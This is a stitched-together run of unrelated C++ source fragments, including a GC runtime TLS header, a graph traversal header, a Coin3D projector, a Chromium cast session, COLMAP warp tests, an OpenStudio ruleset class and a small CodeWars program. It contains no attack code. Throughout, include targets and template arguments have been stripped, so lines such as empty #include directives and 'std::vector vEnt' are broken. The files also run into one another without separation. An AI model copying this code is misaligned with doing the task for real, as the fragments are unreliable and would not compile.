_baseHeadLocked; HANDLE _hThread; // handle to thread owning this structure TLSDATA * _pNext; // next TLS structure bool _fLocked; // set when locked during GC bool _fCounted; // set when counted during startGC() bool _fSuspended; // set during unmarking pointers on stack #ifdef RENTAL_MODEL bool _fReleaseRental; // set when releasing rental objects bool _fCheckMarked; // signal to check REF_MARKED when releasing rental objects bool _fMisAligned; // mark when we have to adjust for 8 byte alignment on Win95 Base * _pRentalList; // list of rental objects with zero ref count unsigned _uRentals; // number of objects on rental list RentalEnum _reModel; // current model to create objects with #ifdef FASTRENTALGC // not used yet #define SIZEOFRENTALGCLIST 2048 Base * _apZLObjects[SIZEOFRENTALGCLIST]; bool _fPartialRental; // set when releasing rental objects #endif #endif int _iRunning; // greater than zero when our code is running HRESULT _hrException; // exception handling error code Exception * _pException; // last exception object struct TEB * _pTEB; // pointer to TEB structure DWORD _dwTID; // thread id bool _fThreadExited; // we got a DLL_THREAD_DETACH on this thread. DWORD _dwDepth; // depth of recursion of finalize() during GC #if DBG == 1 DWORD _dwTemp1; DWORD _dwTemp2; #endif // WIN64 REVIEW - Does this really need to be a DWORD_PTR?? DWORD _dwHeapHint; // index for heap manager void * _pPageLocked; // set when locking a page for freeing objects #ifdef FAST_OBJECT_LIST #define SIZEOFOBJECTLIST 256 unsigned _uObjects; unsigned _uNextObject; Base * _ppObjects[SIZEOFOBJECTLIST]; #endif TLSDATA(); ~TLSDATA(); void init(); void reinit(); void * operator new(size_t); void operator delete(void *); }; extern DWORD g_dwTlsIndex; extern DWORD g_dwPlatformId; #ifdef RENTAL_MODEL class Model { public: Model(TLSDATA * ptlsdata, RentalEnum re); public: Model(RentalEnum re); public: Model(TLSDATA * ptlsdata, Base * pBase); public: Model(TLSDATA * ptlsdata, Object * pObject); public: ~Model(); private: void init(TLSDATA * ptlsdata, RentalEnum re); public: void Release(); private: TLSDATA * _ptlsdata; private: RentalEnum _reSavedModel; public: RentalEnum _reModel; }; #endif DLLEXPORT DWORD GetTlsIndex(); TLSDATA * AllocTlsData(); #pragma warning ( disable : 4035 ) __inline TLSDATA * EnsureTlsData() { #if 0 //_X86_ __asm mov eax,fs:[0x00000018] __asm mov edx,g_dwTlsIndex __asm mov eax,dword ptr [eax+edx*4+0x0E10] __asm or eax, eax __asm jnz ok __asm call AllocTlsData __asm ok: #else TLSDATA * ptlsdata = (TLSDATA *)TlsGetValue(g_dwTlsIndex); if (!ptlsdata) { ptlsdata = AllocTlsData(); } return ptlsdata; #endif } #pragma warning ( default : 4035 ) #pragma warning ( disable : 4035 ) __inline TLSDATA * GetTlsData() { Assert(TlsGetValue(g_dwTlsIndex) && "SHOULD ALWAYS BE PRESENT"); #if 0 //_X86_ __asm mov eax,fs:[0x00000018] __asm mov edx,g_dwTlsIndex __asm mov dword ptr [eax+0x34],0 __asm mov eax,dword ptr [eax+edx*4+0x0E10] #else TLSDATA * ptlsdata = (TLSDATA *)TlsGetValue(g_dwTlsIndex); Assert(ptlsdata && "SHOULD ALWAYS BE PRESENT"); return ptlsdata; #endif } #pragma warning ( default : 4035 ) // to set TLS up class EnsureTls { public: EnsureTls() { _tlsdata = (*g_pfnEntry)(); } ~EnsureTls() { if (_tlsdata) { _tlsdata->_iRunning--; (*g_pfnExit)(_tlsdata); } } TLSDATA * getTlsData() { return _tlsdata; } private: TLSDATA * _tlsdata; }; #define STACK_ENTRY EnsureTls _EnsureTls; if (!_EnsureTls.getTlsData()) return E_FAIL #ifdef RENTAL_MODEL #define STACK_ENTRY_WRAPPED STACK_ENTRY; Model model(_EnsureTls.getTlsData(), getWrapped()) #define STACK_ENTRY_OBJECT(o) STACK_ENTRY; Model model(_EnsureTls.getTlsData(), o) #define STACK_ENTRY_IUNKNOWN(i) STACK_ENTRY; Model model(_EnsureTls.getTlsData(), i->model()) #define STACK_ENTRY_MODEL(e) STACK_ENTRY; Model model(_EnsureTls.getTlsData(), e) #else #define STACK_ENTRY_WRAPPED STACK_ENTRY #define STACK_ENTRY_OBJECT(o) STACK_ENTRY #define STACK_ENTRY_IUNKNOWN(i) STACK_ENTRY #define STACK_ENTRY_MODEL(e) STACK_ENTRY #endif #endif TLS_H GondalfGery/GraphsTraversals /* GraphMatrix.hpp Graphs Copyright � 2018 This program is free software : you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program.If not, see . */ #pragma once #include #include "AdjacencyMatrix.hpp" #include "AdjacencyList.hpp" /* Graph Matrix is a Graph Representation that combines Adjacency Lists with Adjacency Matrix #Variables: --------------------------------------------------------------------------------------- matrix (long long int**): matrix itself n (int): number of nodes visited (int*): pointer to a table for DFS traversal, declared as a member variable, because DFS itself is implemented recursively and need this table in every lever of recursion, this table contains a map of visited nodes predecessors (int*): pointer to a table for BFS traversal, declared as a member variable, each position of the table contains a number of predecessors so far not visited sorted (int*): pointer to a table containing a traversal (BFS or DFS) #Methods: --------------------------------------------------------------------------------------- constructor: can create our class from AdjacencyMatrix(passed by copy or pointer), or a pointer to table of tables (aka. pointer to a pointer), this table is treated same as AdjacencyMatrix), all the constructors use the function initialize (for reusing the same code) destructor: frees memory DFS: a step of recursive DFS traversal computing sortDFS: find a DFS traversal WARNING: THE CODE DOES NOT CHECK IF OUR GRAPH IS DAG, WE ASSUMED IT IS, BECAUSE WE ARE ALWAYS GENERATING DAG GRAPHS. sortBFS: find a BFS traversal WARNING: THE CODE DOES NOT CHECK IF OUR GRAPH IS DAG, WE ASSUMED IT IS, BECAUSE WE ARE ALWAYS GENERATING DAG GRAPHS. */ class GraphMatrix { private: long long int * * matrix; int n; int *visited; int *predecessors_count; int *sorted; void initialize(int ** tab, int _size); protected: public: GraphMatrix(AdjacencyMatrix source); GraphMatrix(AdjacencyMatrix * source); ~GraphMatrix(); void DFS(int i, int &idx); void sortDFS(); void sortBFS(); }; 1-10 #include "utiliti.h" #include "language.h" #include #include const std::string languageproxy::NAME = "languageproxy"; languageproxy::languageproxy() :PureMVC::Proxy(languageproxy::NAME) { } void languageproxy::onRegister() { const char* filepath = "language.json"; std::ifstream iff(filepath); if (!iff.good()) { FatalError("Cant Open setting.json"); return; } std::string filebuff((std::istreambuf_iterator(iff)), std::istreambuf_iterator()); rapidjson::Document doc; if (doc.Parse(filebuff).HasParseError()) { FatalError("Parse setting.json Failed"); return; } for (auto iter = doc.MemberBegin(); iter != doc.MemberEnd(); ++iter) { this->languages_.insert(std::make_pair(iter->name.GetString(), iter->value.GetString())); } }#ifndef MANIFOLDS_FUNCTIONS_CONCEPTS_HH #define MANIFOLDS_FUNCTIONS_CONCEPTS_HH #include "variables.hh" #include "composition.hh" #include "addition.hh" #include "multiplication.hh" namespace manifolds { template struct is_variable : std::false_type {}; template struct is_variable > : std::true_type {}; template struct is_same_v : std::false_type {}; template
\image html spheresheet.png "Rendering of Example Resulting Projections"
*/ #include #if COIN_DEBUG #include #endif // COIN_DEBUG #include /*! \var SbSphereSheetProjector::workingProjPoint Last projected point, in the working space coordinate system. */ /*! \var SbSphereSheetProjector::planePoint Position of the center of the sphere in the plane of the hyberbolic sheet. */ /*! \var SbSphereSheetProjector::planeDir Normal vector of the plane defining the orientation of the sheet. */ // FIXME: planeDist is not used, what is it for? 20000308 mortene. /*! \var SbSphereSheetProjector::planeDist \COININTERNAL */ /*! \var SbSphereSheetProjector::tolPlane The tolerance value specifying how much of the sphere is "above" the sheet. */ /*! Constructor. Uses default sphere definition, see SbSphereProjector::SbSphereProjector(). \a orienttoeye decides whether or not the sheet should always be oriented towards the viewer. */ SbSphereSheetProjector::SbSphereSheetProjector(const SbBool orienttoeye) : SbSphereProjector(orienttoeye) { } /*! Constructor with explicit definition of projection sphere. */ SbSphereSheetProjector::SbSphereSheetProjector(const SbSphere & sph, const SbBool orienttoeye) : SbSphereProjector(sph, orienttoeye) { } // Documented in superclass. SbProjector * SbSphereSheetProjector::copy(void) const { return new SbSphereSheetProjector(*this); } // Documented in superclass. SbVec3f SbSphereSheetProjector::project(const SbVec2f & point) { if (this->needSetup) this->setupPlane(); SbLine projline = this->getWorkingLine(point); SbVec3f spherehit; SbBool atsphere = this->intersectSphereFront(projline, spherehit); if (atsphere) { projline.setValue(spherehit, spherehit + -(this->planeDir)); } SbVec3f planehit; SbBool atplane = this->tolPlane.intersect(projline, planehit); SbVec3f projpt; float planardist, meetdist; if (!atsphere && !atplane) { #if COIN_DEBUG SoDebugError::postWarning("SbSphereSectionProjector::project", "line is perpendicular to plane direction."); #endif // COIN_DEBUG // set to <0, 0, 0> to avoid crazy rotations. lastPoint will then // never change, and there will be no rotation from getRotation() projpt = SbVec3f(0.0f, 0.0f, 0.0f); goto done; } // distance from plane hit point to plane center in the projector planardist = (planehit - this->planePoint).length(); // let sphere and hyperbolic sheet meet at 45 degree meetdist = this->sphere.getRadius() * (float) cos(M_PI / 4.0); if (planardist < meetdist) { assert(atsphere && "intersection ray missed sphere!?"); projpt = spherehit; } else { // By Pythagoras' we know that the value of the sphere at 45 degree // angle from the groundplane will be (radius^2 * 0.5). float v = (this->sphere.getRadius() * this->sphere.getRadius()) * 0.5f; // A hyperbolic function is given by y = 1 / x, where x in our // case is the "radial" distance from the plane centerpoint to the // plane intersection point. float hyperbval = (1.0f / planardist) * v; // Now, find the direction of the hyperbolic value vector. SbVec3f adddir(0.0f, 0.0f, 1.0f); // if orient-to-eye is FALSE if (this->isOrientToEye()) { adddir = -projline.getDirection(); } if (!this->intersectFront) { adddir.negate(); } projpt = planehit + (adddir * hyperbval); } done: this->lastPoint = projpt; this->workingProjPoint = projpt; // FIXME: investigate (pederb) return projpt; } // Documented in superclass. SbRotation SbSphereSheetProjector::getRotation(const SbVec3f & point1, const SbVec3f & point2) { if (this->needSetup) this->setupPlane(); return SbRotation(point1-this->planePoint, point2-this->planePoint); } /*! Recalculates projection surface settings after changes to the parameters. */ void SbSphereSheetProjector::setupPlane(void) { if (this->orientToEye) { this->planeDir = -this->viewVol.getProjectionDirection(); this->worldToWorking.multDirMatrix(this->planeDir, this->planeDir); if (this->planeDir.normalize() == 0.0f) { #if COIN_DEBUG SoDebugError::postWarning("SbSphereSectionProjector::setupPlane", "worldToWorking matrix seems to be invalid."); #endif // COIN_DEBUG this->planeDir.setValue(0.0f, 0.0f, 1.0f); } } else { this->planeDir.setValue(0.0f, 0.0f, 1.0f); } if (!this->intersectFront) this->planeDir = -this->planeDir; this->planeDist = 0.0f; this->planePoint = this->sphere.getCenter(); this->tolPlane = SbPlane(this->planeDir, this->planePoint); this->needSetup = FALSE; } src/Onyx.Engine/System/Window.cpp #include "Window.h" #ifdef ONYX_PLATFORM_WINDOWS #include "WindowsWindow.h" #endif namespace Onyx::Engine::System { std::unique_ptr Window::Create(const WindowProperties& properties) { #ifdef ONYX_PLATFORM_WINDOWS return std::make_unique(properties); #else ONYX_LOG_ERROR("Unknown platofrm"); return nullptr; #endif } Window::Window(const WindowProperties& properties) : properties_(std::make_unique(properties)) {} const WindowProperties* Window::GetProperties() const { return properties_.get(); } const std::string Window::GetTitle() const { return properties_->Title; } const unsigned int Window::GetWidth() const { return properties_->Width; } const unsigned int Window::GetHeight() const { return properties_->Height; } const bool Window::IsVSyncEnabled() const { return properties_->VSyncEnabled; } void Window::OnEvent(const WindowProperties::DispatchEventFunc& callback) { properties_->DispatchEvent = callback; } void Window::SetTitle(const std::string& title) { properties_->Title = title; OnTitleChange(title); } void Window::SetSize(const unsigned int& width, const unsigned int& height) { properties_->Width = width; properties_->Height = height; OnSizeChange(width, height); } void Window::EnableVSync() { properties_->VSyncEnabled = true; OnVSyncChange(true); } void Window::DisableVSync() { properties_->VSyncEnabled = false; OnVSyncChange(false); } void Window::Update() const { OnUpdate(); } } struct VDP : TMS9918, V9938, Thread { Node::Object node; Node::Video::Screen screen; //vdp.cpp auto load(Node::Object) -> void; auto unload() -> void; auto step(u32 clocks) -> void override; auto irq(bool line) -> void override; auto frame() -> void override; auto power() -> void; auto read(n2 port) -> n8; auto write(n2 port, n8 data) -> void; //color.cpp auto colorMSX(n32) -> n64; auto colorMSX2(n32) -> n64; //serialization.cpp auto serialize(serializer&) -> void; }; extern VDP vdp; // Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/renderer/media/cast_session.h" #include "base/message_loop/message_loop_proxy.h" #include "chrome/renderer/media/cast_session_delegate.h" #include "content/public/renderer/render_thread.h" CastSession::CastSession() : delegate_(new CastSessionDelegate()), io_message_loop_proxy_( content::RenderThread::Get()->GetIOMessageLoopProxy()) { } CastSession::~CastSession() { // We should always be able to delete the object on the IO thread. CHECK(io_message_loop_proxy_->DeleteSoon(FROM_HERE, delegate_.release())); } ashishd/colmapsrc/base/warp_test.cc1-10 // Copyright (c) 2022, ETH Zurich and UNC Chapel Hill. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of ETH Zurich and UNC Chapel Hill nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. // // Author: (jsch-at-demuc-dot-de) #define TEST_NAME "base/warp" #include "util/testing.h" #include "base/warp.h" #include "util/random.h" using namespace colmap; namespace { void GenerateRandomBitmap(const int width, const int height, const bool as_rgb, Bitmap* bitmap) { bitmap->Allocate(width, height, as_rgb); for (int x = 0; x < width; ++x) { for (int y = 0; y < height; ++y) { BitmapColor color; color.r = RandomInteger(0, 255); color.g = RandomInteger(0, 255); color.b = RandomInteger(0, 255); bitmap->SetPixel(x, y, color); } } } // Check that the two bitmaps are equal, ignoring a 1px boundary. void CheckBitmapsEqual(const Bitmap& bitmap1, const Bitmap& bitmap2) { BOOST_REQUIRE_EQUAL(bitmap1.IsGrey(), bitmap2.IsGrey()); BOOST_REQUIRE_EQUAL(bitmap1.IsRGB(), bitmap2.IsRGB()); BOOST_REQUIRE_EQUAL(bitmap1.Width(), bitmap2.Width()); BOOST_REQUIRE_EQUAL(bitmap1.Height(), bitmap2.Height()); for (int x = 1; x < bitmap1.Width() - 1; ++x) { for (int y = 1; y < bitmap1.Height() - 1; ++y) { BitmapColor color1; BitmapColor color2; BOOST_CHECK(bitmap1.GetPixel(x, y, &color1)); BOOST_CHECK(bitmap2.GetPixel(x, y, &color2)); BOOST_CHECK_EQUAL(color1, color2); } } } // Check that the two bitmaps are equal, ignoring a 1px boundary. void CheckBitmapsTransposed(const Bitmap& bitmap1, const Bitmap& bitmap2) { BOOST_REQUIRE_EQUAL(bitmap1.IsGrey(), bitmap2.IsGrey()); BOOST_REQUIRE_EQUAL(bitmap1.IsRGB(), bitmap2.IsRGB()); BOOST_REQUIRE_EQUAL(bitmap1.Width(), bitmap2.Width()); BOOST_REQUIRE_EQUAL(bitmap1.Height(), bitmap2.Height()); for (int x = 1; x < bitmap1.Width() - 1; ++x) { for (int y = 1; y < bitmap1.Height() - 1; ++y) { BitmapColor color1; BitmapColor color2; BOOST_CHECK(bitmap1.GetPixel(x, y, &color1)); BOOST_CHECK(bitmap2.GetPixel(y, x, &color2)); BOOST_CHECK_EQUAL(color1, color2); } } } } // namespace BOOST_AUTO_TEST_CASE(TestIdenticalCameras) { Camera source_camera; source_camera.InitializeWithName("PINHOLE", 1, 100, 100); Camera target_camera = source_camera; Bitmap source_image_gray; GenerateRandomBitmap(100, 100, false, &source_image_gray); Bitmap target_image_gray; WarpImageBetweenCameras(source_camera, target_camera, source_image_gray, &target_image_gray); CheckBitmapsEqual(source_image_gray, target_image_gray); Bitmap source_image_rgb; GenerateRandomBitmap(100, 100, true, &source_image_rgb); Bitmap target_image_rgb; WarpImageBetweenCameras(source_camera, target_camera, source_image_rgb, &target_image_rgb); CheckBitmapsEqual(source_image_rgb, target_image_rgb); } BOOST_AUTO_TEST_CASE(TestShiftedCameras) { Camera source_camera; source_camera.InitializeWithName("PINHOLE", 1, 100, 100); Camera target_camera = source_camera; target_camera.SetPrincipalPointX(0.0); Bitmap source_image_gray; GenerateRandomBitmap(100, 100, true, &source_image_gray); Bitmap target_image_gray; WarpImageBetweenCameras(source_camera, target_camera, source_image_gray, &target_image_gray); for (int x = 0; x < target_image_gray.Width(); ++x) { for (int y = 0; y < target_image_gray.Height(); ++y) { BitmapColor color; BOOST_CHECK(target_image_gray.GetPixel(x, y, &color)); if (x >= 50) { BOOST_CHECK_EQUAL(color, BitmapColor(0)); } else { BitmapColor source_color; if (source_image_gray.GetPixel(x + 50, y, &source_color) && color != BitmapColor(0)) { BOOST_CHECK_EQUAL(color, source_color); } } } } } BOOST_AUTO_TEST_CASE(TestWarpImageWithHomographyIdentity) { Bitmap source_image_gray; GenerateRandomBitmap(100, 100, false, &source_image_gray); Bitmap target_image_gray; target_image_gray.Allocate(100, 100, false); WarpImageWithHomography(Eigen::Matrix3d::Identity(), source_image_gray, &target_image_gray); CheckBitmapsEqual(source_image_gray, target_image_gray); Bitmap source_image_rgb; GenerateRandomBitmap(100, 100, true, &source_image_rgb); Bitmap target_image_rgb; target_image_rgb.Allocate(100, 100, true); WarpImageWithHomography(Eigen::Matrix3d::Identity(), source_image_rgb, &target_image_rgb); CheckBitmapsEqual(source_image_rgb, target_image_rgb); } BOOST_AUTO_TEST_CASE(TestWarpImageWithHomographyTransposed) { Eigen::Matrix3d H; H << 0, 1, 0, 1, 0, 0, 0, 0, 1; Bitmap source_image_gray; GenerateRandomBitmap(100, 100, false, &source_image_gray); Bitmap target_image_gray; target_image_gray.Allocate(100, 100, false); WarpImageWithHomography(H, source_image_gray, &target_image_gray); CheckBitmapsTransposed(source_image_gray, target_image_gray); Bitmap source_image_rgb; GenerateRandomBitmap(100, 100, true, &source_image_rgb); Bitmap target_image_rgb; target_image_rgb.Allocate(100, 100, true); WarpImageWithHomography(H, source_image_rgb, &target_image_rgb); CheckBitmapsTransposed(source_image_rgb, target_image_rgb); } BOOST_AUTO_TEST_CASE(TestWarpImageWithHomographyBetweenCamerasIdentity) { Camera source_camera; source_camera.InitializeWithName("PINHOLE", 1, 100, 100); Camera target_camera = source_camera; Bitmap source_image_gray; GenerateRandomBitmap(100, 100, false, &source_image_gray); Bitmap target_image_gray; target_image_gray.Allocate(100, 100, false); WarpImageWithHomographyBetweenCameras(Eigen::Matrix3d::Identity(), source_camera, target_camera, source_image_gray, &target_image_gray); CheckBitmapsEqual(source_image_gray, target_image_gray); Bitmap source_image_rgb; GenerateRandomBitmap(100, 100, true, &source_image_rgb); Bitmap target_image_rgb; target_image_rgb.Allocate(100, 100, true); WarpImageWithHomographyBetweenCameras(Eigen::Matrix3d::Identity(), source_camera, target_camera, source_image_rgb, &target_image_rgb); CheckBitmapsEqual(source_image_rgb, target_image_rgb); } BOOST_AUTO_TEST_CASE(TestWarpImageWithHomographyBetweenCamerasTransposed) { Camera source_camera; source_camera.InitializeWithName("PINHOLE", 1, 100, 100); Camera target_camera = source_camera; Eigen::Matrix3d H; H << 0, 1, 0, 1, 0, 0, 0, 0, 1; Bitmap source_image_gray; GenerateRandomBitmap(100, 100, false, &source_image_gray); Bitmap target_image_gray; target_image_gray.Allocate(100, 100, false); WarpImageWithHomographyBetweenCameras(H, source_camera, target_camera, source_image_gray, &target_image_gray); CheckBitmapsTransposed(source_image_gray, target_image_gray); Bitmap source_image_rgb; GenerateRandomBitmap(100, 100, true, &source_image_rgb); Bitmap target_image_rgb; target_image_rgb.Allocate(100, 100, true); WarpImageWithHomographyBetweenCameras(H, source_camera, target_camera, source_image_rgb, &target_image_rgb); CheckBitmapsTransposed(source_image_rgb, target_image_rgb); } BOOST_AUTO_TEST_CASE(TestResampleImageBilinear) { std::vector image(16); for (size_t i = 0; i < image.size(); ++i) { image[i] = i; } std::vector resampled(4); ResampleImageBilinear(image.data(), 4, 4, 2, 2, resampled.data()); BOOST_CHECK_EQUAL(resampled[0], 2.5); BOOST_CHECK_EQUAL(resampled[1], 4.5); BOOST_CHECK_EQUAL(resampled[2], 10.5); BOOST_CHECK_EQUAL(resampled[3], 12.5); } BOOST_AUTO_TEST_CASE(TestSmoothImage) { std::vector image(16); for (size_t i = 0; i < image.size(); ++i) { image[i] = i; } std::vector smoothed(16); SmoothImage(image.data(), 4, 4, 1, 1, smoothed.data()); BOOST_CHECK_CLOSE(smoothed[0], 1.81673253, 1e-3); BOOST_CHECK_CLOSE(smoothed[1], 2.51182437, 1e-3); BOOST_CHECK_CLOSE(smoothed[2], 3.39494729, 1e-3); BOOST_CHECK_CLOSE(smoothed[3], 4.09003973, 1e-3); BOOST_CHECK_CLOSE(smoothed[4], 4.59710073, 1e-3); BOOST_CHECK_CLOSE(smoothed[5], 5.29219341, 1e-3); BOOST_CHECK_CLOSE(smoothed[6], 6.17531633, 1e-3); BOOST_CHECK_CLOSE(smoothed[7], 6.87040806, 1e-3); } BOOST_AUTO_TEST_CASE(TestDownsampleImage) { std::vector image(16); for (size_t i = 0; i < image.size(); ++i) { image[i] = i; } std::vector downsampled(4); DownsampleImage(image.data(), 4, 4, 2, 2, downsampled.data()); BOOST_CHECK_CLOSE(downsampled[0], 2.76810598, 1e-3); BOOST_CHECK_CLOSE(downsampled[1], 4.66086388, 1e-3); BOOST_CHECK_CLOSE(downsampled[2], 10.3391361, 1e-3); BOOST_CHECK_CLOSE(downsampled[3], 12.2318935, 1e-3); } /********************************************************************** * Copyright (c) 2008-2014, Alliance for Sustainable Energy. * All rights reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA **********************************************************************/ #include #include #include #include #include #include #include #include #include #include namespace openstudio { namespace ruleset { namespace detail { ModelObjectActionSetRelationship_Impl::ModelObjectActionSetRelationship_Impl( const std::string& relationshipName, const openstudio::path& componentPath) : ModelObjectActionClause_Impl(), m_relationshipName(relationshipName), m_componentReference(componentPath) {} ModelObjectActionSetRelationship_Impl::ModelObjectActionSetRelationship_Impl( const std::string& relationshipName, const FileReference& componentReference) : ModelObjectActionClause_Impl(), m_relationshipName(relationshipName), m_componentReference(componentReference) {} ModelObjectActionSetRelationship_Impl::ModelObjectActionSetRelationship_Impl( const std::string& relationshipName, const FileReference& componentReference, const UUID& uuid, const UUID& versionUUID) : ModelObjectActionClause_Impl(uuid, versionUUID), m_relationshipName(relationshipName), m_componentReference(componentReference) {} ModelObjectActionSetRelationship_Impl::ModelObjectActionSetRelationship_Impl( const QDomElement& element) : ModelObjectActionClause_Impl(element), m_componentReference(openstudio::path()) { OS_ASSERT(!element.isNull()); OS_ASSERT(element.tagName() == toQString(this->xmlElementName())); QDomElement relationshipNameElement = element.firstChildElement(QString::fromStdString("RelationshipName")); QDomElement componentPathElement = element.firstChildElement(QString::fromStdString("ComponentPath")); QDomElement componentUUIDElement = element.firstChildElement(QString::fromStdString("ComponentUUID")); QDomElement componentVersionUUIDElement = element.firstChildElement(QString::fromStdString("ComponentVersionUUID")); OS_ASSERT(!relationshipNameElement.isNull()); OS_ASSERT(!componentPathElement.isNull()); OS_ASSERT(!componentUUIDElement.isNull()); OS_ASSERT(!componentVersionUUIDElement.isNull()); m_relationshipName = relationshipNameElement.firstChild().nodeValue().toStdString(); // ETH@20111003 Not pretty because FileReference not serialized to XML. m_componentReference = FileReference(toPath(componentPathElement.firstChild().nodeValue().toStdString())); UUID componentUUID = toUUID(componentUUIDElement.firstChild().nodeValue().toStdString()); UUID componentVersionUUID = toUUID(componentVersionUUIDElement.firstChild().nodeValue().toStdString()); if (model::OptionalComponent component = this->component()) { if (componentUUID != component->componentData().uuid()){ LOG(Error, "Component UUID '" << toString(component->componentData().uuid()) << "' does not match expected '" << toString(componentUUID) << "'"); } if (componentVersionUUID != component->componentData().versionUUID()){ LOG(Error, "Component version UUID '" << toString(component->componentData().versionUUID()) << "' does not match expected '" << toString(componentVersionUUID) << "'"); } }else{ LOG(Error, "Could not load component from '" << toString(componentPath()) << "'"); } } std::string ModelObjectActionSetRelationship_Impl::relationshipName() const { return m_relationshipName; } openstudio::path ModelObjectActionSetRelationship_Impl::componentPath() const { return componentReference().path(); } FileReference ModelObjectActionSetRelationship_Impl::componentReference() const { return m_componentReference; } boost::optional ModelObjectActionSetRelationship_Impl::component() const { if (!m_component) { osversion::VersionTranslator translator; m_component = translator.loadComponent(m_componentReference.path()); } return m_component; } std::string ModelObjectActionSetRelationship_Impl::xmlElementName() const { return ModelObjectActionSetRelationship::xmlElementName(); } void ModelObjectActionSetRelationship_Impl::writeValues(QDomDocument& doc, QDomElement& element) const { ModelObjectActionClause_Impl::writeValues(doc, element); QDomElement childElement; QDomText text; childElement = doc.createElement(QString::fromStdString("RelationshipName")); text = doc.createTextNode(toQString(m_relationshipName)); childElement.appendChild(text); element.appendChild(childElement); childElement = doc.createElement(QString::fromStdString("ComponentPath")); text = doc.createTextNode(toQString(componentPath())); childElement.appendChild(text); element.appendChild(childElement); if (model::OptionalComponent component = this->component()){ childElement = doc.createElement(QString::fromStdString("ComponentUUID")); text = doc.createTextNode(toQString(toString(component->componentData().uuid()))); childElement.appendChild(text); element.appendChild(childElement); childElement = doc.createElement(QString::fromStdString("ComponentVersionUUID")); text = doc.createTextNode(toQString(toString(component->componentData().versionUUID()))); childElement.appendChild(text); element.appendChild(childElement); } } bool ModelObjectActionSetRelationship_Impl::apply(openstudio::model::ModelObject& modelObject) const { bool result = false; if (model::OptionalComponent component = this->component()){ boost::optional relationship = modelObject.getRelationship(m_relationshipName); if (relationship){ boost::optional componentData = modelObject.model().insertComponent(*component); if (componentData){ result = relationship->setRelatedModelObject(componentData->primaryComponentObject()); } } } LOG(Debug, "Setting relationship '" << this->relationshipName() << "' for ModelObject of type '" << modelObject.iddObject().name() << (result ? "' succeeded" : " failed")); return result; } bool ModelObjectActionSetRelationship_Impl::equivalentData(const RulesetObject& other) const { bool result = true; result = result && ModelObjectActionClause_Impl::equivalentData(other); return result; } } // detail std::string ModelObjectActionSetRelationship::xmlElementName() { return "ModelObjectActionSetRelationship"; } ModelObjectActionSetRelationship::ModelObjectActionSetRelationship( const std::string& relationshipName, const openstudio::path& componentPath) : ModelObjectActionClause(boost::shared_ptr( new detail::ModelObjectActionSetRelationship_Impl(relationshipName, componentPath))) { OS_ASSERT(getImpl()); } ModelObjectActionSetRelationship::ModelObjectActionSetRelationship( const std::string& relationshipName, const FileReference& componentReference) : ModelObjectActionClause(boost::shared_ptr( new detail::ModelObjectActionSetRelationship_Impl(relationshipName, componentReference))) { OS_ASSERT(getImpl()); } ModelObjectActionSetRelationship::ModelObjectActionSetRelationship( const std::string& relationshipName, const FileReference& componentReference, const UUID& uuid, const UUID& versionUUID) : ModelObjectActionClause(boost::shared_ptr( new detail::ModelObjectActionSetRelationship_Impl(relationshipName, componentReference, uuid, versionUUID))) { OS_ASSERT(getImpl()); } ModelObjectActionSetRelationship::ModelObjectActionSetRelationship(const QDomElement& element) : ModelObjectActionClause(boost::shared_ptr(new detail::ModelObjectActionSetRelationship_Impl(element))) { OS_ASSERT(getImpl()); } /// @cond ModelObjectActionSetRelationship::ModelObjectActionSetRelationship(boost::shared_ptr impl) : ModelObjectActionClause(impl) { OS_ASSERT(getImpl()); } /// @endcond std::string ModelObjectActionSetRelationship::relationshipName() const { return getImpl()->relationshipName(); } openstudio::path ModelObjectActionSetRelationship::componentPath() const { return getImpl()->componentPath(); } FileReference ModelObjectActionSetRelationship::componentReference() const { return getImpl()->componentReference(); } boost::optional ModelObjectActionSetRelationship::component() const { return getImpl()->component(); } } // ruleset } // openstudio dimitri-dev/CodeWars0 #include #include #include #include using std::cin; using std::cout; int stupidFunction(std::vector vEnt) { std::sort(vEnt.begin(), vEnt.end()); return (vEnt.at(0) + vEnt.at(1)); } int main() { std::ios::sync_with_stdio(false); std::cin.tie(0); int n; cin >> n; std::vector vEnt; for (int i = 0; i < n; ++i) { int nt; cin >> nt; if (nt >= 0) vEnt.push_back(nt); } cout << stupidFunction(vEnt); }/* * Copyright (C) 2015 The Android Open Source Project * * 